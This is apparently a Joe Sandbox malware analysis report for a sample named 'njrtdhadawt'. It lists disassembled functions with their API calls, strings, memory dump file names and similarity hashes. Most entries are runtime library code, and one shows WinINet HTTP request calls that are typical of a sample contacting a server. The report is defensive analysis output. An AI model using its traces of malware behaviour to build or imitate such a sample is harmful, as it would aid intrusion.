std::_Xinvalid_argument.LIBCPMT ref: 00FEF184
_memmove.LIBCMT ref: 00FEF1B2

Strings

string too long, xrefs: 00FEF17F

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 98972d0bebc27751f835e44f1ad9c1485abc588ab2fe3ffb437e5527585f378f
Instruction ID: 02c504c7d663c3398c57087a9dcae405afa440b22e4828ffa8ae60ad11f893fc
Opcode Fuzzy Hash: 98972d0bebc27751f835e44f1ad9c1485abc588ab2fe3ffb437e5527585f378f
Instruction Fuzzy Hash: 0311A371300289EFEB189E2EDC40965B76AEFC5360B14053AF80587285D769ED58E792

Function 6CD61713 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6CD61759
___raise_securityfailure.LIBCMT ref: 6CD61841

Strings

N{q`, xrefs: 6CD61832

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: N{q`
API String ID: 3761405300-2042453580
Opcode ID: 90d48733773b94320abff2a6a69900ed233adba7f044d9efab823864f896a7d0
Instruction ID: 24660644c02062df1d4512ab97af9f1df4f2468fdd52af2562c1a36e66eda327
Opcode Fuzzy Hash: 90d48733773b94320abff2a6a69900ed233adba7f044d9efab823864f896a7d0
Instruction Fuzzy Hash: B021BFF9610204EBFB44DF65D9957A4BBB8BB0A314F12506AE708DB790E7B09581CF2C

Function 00FF20F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00FF211C

Strings

image/jpeg, xrefs: 00FF2144

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 4bfa610ef88a1f16fab2cfccadcc109891b67616ad616655ec70f5689b02c637
Instruction ID: 47c21109e60405645ca888ad1513eebae656186214ce0e4284869fbf113142d8
Opcode Fuzzy Hash: 4bfa610ef88a1f16fab2cfccadcc109891b67616ad616655ec70f5689b02c637
Instruction Fuzzy Hash: 0311A572D00108FF8B619FA5D9858AF7F79FF41370B21426AFB11A21A0D7719E40AB50

Function 6CD1AC50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?), ref: 6CD52D19
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6CD52D49
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6CD52D7C
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6CD52E0A

Strings

SymGetLineFromInlineContextW, xrefs: 6CD52D71

Memory Dump Source

Source File: 00000000.00000002.1554966712.000000006CD11000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CD10000, based on PE: true

Associated: 00000000.00000002.1554949928.000000006CD10000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555023791.000000006CD71000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555082296.000000006CDB7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1555100832.000000006CDB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd10000_njrtdhadawt.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: SymGetLineFromInlineContextW
API String ID: 2190909847-3625368168
Opcode ID: cc366ef7d16057b361ec512f437283cd3761102669491c2499915436ec9ffffc
Instruction ID: aef62f5f9302929b14e432e5ebe8abd6eb21209d14c1f1a20e9c81a0bb6a5b51
Opcode Fuzzy Hash: cc366ef7d16057b361ec512f437283cd3761102669491c2499915436ec9ffffc
Instruction Fuzzy Hash: B4119471B05305EBEF048F59C89468ABBF8EB85354F40852DFD9897760D731E9148BA2

Function 00FEF54B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FEF561

Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E6FA
Part of subcall function 0100E6E5: __CxxThrowException@8.LIBCMT ref: 0100E70F
Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E720

Part of subcall function 00FEF45D: std::_Xinvalid_argument.LIBCPMT ref: 00FEF467

_memmove.LIBCMT ref: 00FEF5B3

Strings

invalid string position, xrefs: 00FEF55C

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: aa981d3a24693ea4638fcfcbbba59cadea5004db84cfe9f418f23a1ef205cfdc
Instruction ID: 2495ba97433f96a478d6f942e633eb0e609f3186b3cd1f4f9c2c5f84e0172725
Opcode Fuzzy Hash: aa981d3a24693ea4638fcfcbbba59cadea5004db84cfe9f418f23a1ef205cfdc
Instruction Fuzzy Hash: 681104327003409BCF14EF6EDC805697365AF65324B580939F4168F281C370ED54AB92

Function 00FEF766 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FEF775

Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E6FA
Part of subcall function 0100E6E5: __CxxThrowException@8.LIBCMT ref: 0100E70F
Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E720

memmove.MSVCRT(00FEF100,00FEF100,C6C68B00,00FEF100,00FEF100,00FEF582,?,?,?,00FEF602,?,?,?,771B0440,?,-00000001), ref: 00FEF7AB

Strings

invalid string position, xrefs: 00FEF770

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 90beb982336f8a61bde9f421695fb0d4694fb06c4992894d566d6f26befa22b5
Instruction ID: 7b9d0b6f463c3d7765226c46b161abd29387c7bf6f0ae61efe5930d07e21c119
Opcode Fuzzy Hash: 90beb982336f8a61bde9f421695fb0d4694fb06c4992894d566d6f26befa22b5
Instruction Fuzzy Hash: 2001AD353006828BD7248E6A8884916B7A6EB88B157214D3CE082CB688DB74E84AA390

Function 00FF6A1B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE6955: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00FE69B7
Part of subcall function 00FE6955: StrCmpCA.SHLWAPI(?), ref: 00FE69D1
Part of subcall function 00FE6955: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE6A00
Part of subcall function 00FE6955: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00FE6A3F
Part of subcall function 00FE6955: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE6A6F
Part of subcall function 00FE6955: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FE6A7A
Part of subcall function 00FE6955: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00FE6A9E

StrCmpCA.SHLWAPI(?,ERROR), ref: 00FF6A50

Strings

ERROR, xrefs: 00FF6A73
ERROR, xrefs: 00FF6A48

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: 480341209f877668e963248d1ff9b5a2787a980b3e72e71ab82cb25c9f9422f9
Instruction ID: 33b85bb50e4864c245a5848ec2b8ab34fa4621f26a10e38d0fbaa4cc9c42e6a8
Opcode Fuzzy Hash: 480341209f877668e963248d1ff9b5a2787a980b3e72e71ab82cb25c9f9422f9
Instruction Fuzzy Hash: 01016D32E0018C9BCB60FB76DC4799D37A86F40300B5145A2BD20E7227EA7DEA05BAD1

Function 00FFEE59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00FFEE8E
DName::DName.LIBCMT ref: 00FFEE9A

Strings

{flat}, xrefs: 00FFEE89

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: e2dde5f781f5e79941fe5dff7105eb0a524f90765c26bc3febfdf801c0bf74be
Instruction ID: 40f02ddf36fedf6edc934f752aa2976b8b590ed3927f411af12ab0a4f99832a1
Opcode Fuzzy Hash: e2dde5f781f5e79941fe5dff7105eb0a524f90765c26bc3febfdf801c0bf74be
Instruction Fuzzy Hash: A8F0393215024C9FCB20DF58E455BB83BA2AF45B61F498084FA8C0F2BAC775D842EF91

Function 00FEF71F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00FEF4D4: _memmove.LIBCMT ref: 00FEF4EE

__CxxThrowException@8.LIBCMT ref: 00FEF72D

Part of subcall function 0100E9FA: RaiseException.KERNEL32(?,?,?,00FEF820,?,?,?,?,?,00FEF820,?,0101A8C4,?), ref: 0100EA3C

std::_Xinvalid_argument.LIBCPMT ref: 00FEF738

Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E6FA
Part of subcall function 0100E6E5: __CxxThrowException@8.LIBCMT ref: 0100E70F
Part of subcall function 0100E6E5: std::exception::exception.LIBCMT ref: 0100E720

Strings

invalid string position, xrefs: 00FEF733

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$ExceptionRaiseXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 224251009-1799206989
Opcode ID: cbe010f35585128dd0c87a60521b9d86c1bf73b3f362764a6c10cb6642840e87
Instruction ID: 9ab404c4ec504b7798023b9646cb9d7aaa9837089c0deda487d84dee9c77f8af
Opcode Fuzzy Hash: cbe010f35585128dd0c87a60521b9d86c1bf73b3f362764a6c10cb6642840e87
Instruction Fuzzy Hash: EAE086B150020CBBDB04EBA9DC55DCEB7ECDF48254F108579FB0AF3681DAB0AE005650

Function 00FE140E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FE1426
GlobalMemoryStatusEx.KERNEL32(?), ref: 00FE1439

Strings

@, xrefs: 00FE1432

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: f29918cadafcb4389a37711d05851a264377d4793a475fde34ad780143c72b49
Instruction ID: a1931fe40a28e5fe231cb51144fd6d3285a43b75802bf69a25603082f3a28ce8
Opcode Fuzzy Hash: f29918cadafcb4389a37711d05851a264377d4793a475fde34ad780143c72b49
Instruction Fuzzy Hash: 12E0BFB190020C9BEB11EFE4DA46B9DB7B8AB08604F504025AA45E7281EB78BA099B55

